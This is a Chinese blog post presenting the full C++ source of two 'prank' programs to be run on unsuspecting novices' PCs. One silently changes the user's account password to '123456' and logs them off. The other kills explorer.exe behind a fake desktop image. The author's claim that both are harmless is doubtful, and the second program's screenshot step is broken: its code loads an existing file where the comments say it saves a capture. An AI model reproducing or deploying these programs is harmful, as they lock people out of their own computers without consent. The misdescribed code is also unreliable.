优秀的编程知识分享平台

网站首页 > 技术文章 正文

使用C++编写的整蛊人的程序两例

nanyue 2025-01-07 14:44:44 技术文章 3 ℃

近两天突发奇想,写一点整蛊电脑小白的程序。考虑到代码需要在电脑上直接运行,这两例整蛊程序都使用C++编写,直接编译成exe程序让电脑小白运行后崩溃。注意,这两个程序仅仅用于整蛊人,操作都是可逆的,不会对系统造成任何损害,不是病毒。

整蛊程序一

程序的功能很简单,运行后修改当前用户的密码为“123456”,修改完成后自动注销当前用户。很多人的电脑压根不设置密码的,被设置密码后又不知道密码是啥,瞬间就抓狂了。

代码如下:

#include <windows.h>
#include <LM.h>
#pragma comment(lib, "netapi32.lib")

int main() {
    // 获取当前用户的账户名
    TCHAR username[MAX_PATH];
    DWORD size = MAX_PATH;
    GetUserName(username, &size);

    // 更新密码为123456
    if (NetUserChangePassword(NULL, username, NULL, L"123456") != NERR_Success) {
        return -1;
    }

    // 注销
    ExitWindowsEx(EWX_LOGOFF, 0);

    return 0;
}

整蛊程序二

程序的功能分为两步:第一步将当前的屏幕截图保存,并设置为桌面背景;第二步结束explorer进程。本程序运行后,被整蛊的人屏幕中看到的依然是自己的“桌面”,只不过是背景图而已,由于explorer进程已经被杀死,点击任何东西都不会有反应。可以想象被整蛊对象的抓狂状态。

代码如下:

#include <windows.h> 
#include <gdiplus.h>  
#include <TlHelp32.h>
#include <string> 
using namespace Gdiplus;
#pragma comment(lib, "gdiplus.lib")  

int main() {
	GdiplusStartupInput gsi;           //创建一个GDI+启动输入变量,作为参数传递给GdiplusStartup函数  
	ULONG_PTR gdipToken;               //定义一个ULONG_PTR类型的变量,作为参数传递给GdiplusStartup函数  
	GdiplusStartup(&gdipToken, &gsi, NULL);  // 初始化GDI+库  
	Graphics* grp = NULL;              //定义Graphics指针  
	HDC hdcScreen = GetDC(NULL);       //获得屏幕HDC句柄  
	grp = new Graphics(hdcScreen);     //将获得的HDC句柄传递给Graphics对象,从而初始化Graphics对象  
	Image image(L"D:\\screen.jpg");//创建Image对象,该对象表示要保存的图片文件 
	grp->DrawImage(&image, 0, 0);      //将当前屏幕截图保存到image中 
	// 设置Windows桌面背景 
	SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (void*)L"D:\\screen.jpg", SPIF_SENDCHANGE);
	delete grp;                       //释放内存  
	ReleaseDC(NULL, hdcScreen);       //释放内存  
	GdiplusShutdown(gdipToken);       //关闭GDI+库  
	

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//创建一个系统快照,其中包括所有进程信息。  
	PROCESSENTRY32 pe;//定义一个进程信息的变量,用来存储被找到的进程信息 
	pe.dwSize = sizeof(PROCESSENTRY32); //将pe大小赋值 

	//遍历当前及子进程,并将信息存入pe中 
	BOOL bRet = Process32First(hSnapshot, &pe); //使用Process32First函数读取快照中的首个进程信息,并将其存入pe。 
	while (bRet)      //循环向后读取不断对比进行匹配,当匹配成功时退出循环 
	{
		if (strcmp("explorer.exe", pe.szExeFile) == 0)       //如果文件名匹配上了就执行相应功能 
		{
			HANDLE hExplorer = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
			TerminateProcess(hExplorer, 0);
			CloseHandle(hExplorer);
			break;
		}
		bRet = Process32Next(hSnapshot, &pe);
	}     
	CloseHandle(hSnapshot);
	
	return 0;
}

提醒一下大家,整蛊程序仅适用于朋友之间开开玩笑,千万不要把人家激怒了哦!

以上两个程序都是我即时想出来的,不知道大家有没有什么更好的整蛊程序的点子,如果有什么好的点子,欢迎在评论区留言。

Tags:

最近发表
标签列表